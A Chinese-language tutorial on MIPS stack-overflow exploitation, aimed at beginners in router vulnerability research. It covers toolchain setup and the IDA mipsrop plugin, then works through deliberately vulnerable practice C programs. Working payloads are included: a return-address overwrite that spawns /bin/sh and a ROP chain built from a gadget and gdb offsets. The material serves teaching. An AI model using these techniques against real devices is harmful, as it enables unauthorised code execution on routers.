路由器漏洞挖掘入门之栈溢出

x86和MIPS指令集的差异

1、MIPS指令系统大量使用寄存器,包括返回地址也是存放在ra寄存器中的

2、没有堆栈直接操作的指令,也就是就没有push 和pop 指令

3、所有指令都是32位编码,也就是说所有的数据和指令都是4字节对齐

由于MIPS固定指令长度,造成其编译后的二进制文件和内存占用空间比x86的要大

MIPS指令集使用uclibc C标准库,x86使用libc的C标准库

MIPS的指令用法和两者的差异可以参考这里

搭建MIPS编译环境

buidRoot下载

将buildroot解压后,我们的第一步是创建默认配置,buildroot为了方便用户使用,提前配置好了很多平台的配置,在configs文件夹里;

因为我们的目标平台是mips32,所以找到qemu_mips32r2el_malta_defconfig这个配置,下面有一个差不多的qemu_mips32r2_malta_defconfig,区别是多了个el,”el”是小端的意思 ,这里我们选择小端。

回到根目录:执行make qemu_mips32r2el_malta_defconfig

在终端输入make menuconfig进一步配置,输入后会出现如下界面

Target option: 选择目标平台,大端小端等等;

进入Target option可以看到这些配置都被选好了,原因是之前执行了make qemu_mips32r2el_malta_defconfig已经先选好了,如果没有先执行了配置文件就需要进入这里配置

其它的都不用碰他,当然如果你想探索一下也可以的

配置好了之后,出来make即可,等个5-6个小时就行了

IDA mipsrop插件

是一个用来找mips汇编gadget的工具

https://github.com/devttys0/ida/blob/master/plugins/mipsrop/mipsrop.py

直接放到plugins下就行了 IDA7.0也可以用

主要的几个用法:

1
2
3
4
mipsrop.stackfinder() 寻找栈数据可控的 rop,建立 和a0、a1 寄存器的关系
mipsrop.summary() 列出所有的可用rop
mipsrop.system() 寻找命令执行的rop
mipsrop.find(xxx) 查找 find 函数参数的rop,类似正则匹配

前置知识 – 叶子函数和非叶子函数

叶子函数和非叶子函数是两个非常重要的概念,两者的一些特性造成了对栈溢出利用方法的差异;在某个函数中,如果这个函数不调用其它函数,那么就称这个函数为叶子函数,反之,为非叶子函数,好理解吧。

举个例子:

main 为叶子函数,因为main中没有调用其它函数

1
2
3
4
5
6
7
int main(){
int i;
int sum = 0;
for(i = 0;i<5;i++){
sum += i;
}
}

main 为非叶子函数,因为main中调用了printf函数

1
2
3
4
5
6
7
8
int main(){
int i;
int sum = 0;
for(i = 0;i<5;i++){
sum += i;
}
printf("sum = %d",sum);
}

叶子函数的返回地址是直接放在ra寄存器中的,而非叶子函数需要调用另外的函数,这里的差异就导致非叶子函数需要把当前的返回地址暂时存放在栈上

1、非叶子函数中,有sw $ra,xxx的操作,在函数退出时,会将存放在栈上的原来存放在ra寄存器中的值 重新赋值给ra寄存器中

2、叶子函数中,就没有sw $ra,xxx操作

一个简单的栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>

void vuln(){
system("/bin/sh");
}

void has_stack(char *src){
char dst[20] = {0};
strcpy(dst,src);
printf("copy success!n");
}

void main(int argc,char *argv[]){
has_stack(argv[1]);
}
// ~/buildroot-2020.02/output/host/bin/mipsel-linux-gcc test.c -o test -static

利用buildroot中的mipsel-linux-gcc编译程序

动态分析

1
2
3
窗口1:qemu-mipsel -g 1234 ./test `cyclic 100`
窗口2:gdb-multiarch ./test
之后gdb中 target remote :1234 attach上即可

运行,程序 crash 后通过cyclic -l得到溢出长度为28

这里因为main函数是一个非叶子函数所以我们可以直接覆盖栈上main的返回地址为vuln函数从而get shell

1
qemu-mipsel ./test `python -c "print 'a'*28+'\x70\x03\x40\x00'"`

rop chain的利用

举另一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void do_system_0(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}

void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;

if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;

if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!n");
exit(1);
}


ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = '\x00';

if(!strcmp(buf,"adminpwd"))
{
do_system_0(count,"ls -l");
}
else
{
printf("you have an invalid password!n");
}
fclose(fp);
}
// ~/buildroot-2020.02/output/host/bin/mipsel-linux-gcc test.c -o test -static

溢出还是在main函数,且main是一个非叶子函数,所以可以通过溢出控制程序流

但是我们需要控制 dy_system_0函数的第二个参数(在a1寄存器中),所以我们就需要找到将栈上的内容赋值给a1寄存器的汇编语句,可以直接使用mipsrop.stackfinder()命令找找看

1
2
3
4
5
6
7
Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x004034B0 | addiu $a1,$sp,0x58+var_40 | jr 0x58+var_4($sp) |
----------------------------------------------------------------------------------------------------------------
Found 1 matching gadgets

addiu $a1,$sp,0x58+var_40 == addiu $a1,$sp,24,所以只需要在sp+0x24的位置放上字符串’/bin/sh\x00’,再调用do_system_0就行了

同样gdb attach上,动态确定字符串的位置

1
2
3
4
pwndbg> p/x $sp+0x24
$2 = 0x76ffedcc
pwndbg> distance 0x76ffedcc 0x76ffec08
0x76ffedcc->0x76ffec08 is -0x1c4 bytes (-0x71 words)

payload :

1
python -c "print 'a'*0x19c + '\xb0\x34\x40\x00' + 0x18*'b' + '/bin/sh\x00' + 'c'*0x34 + '\x70\x03\x40\x00'" > passwd
0%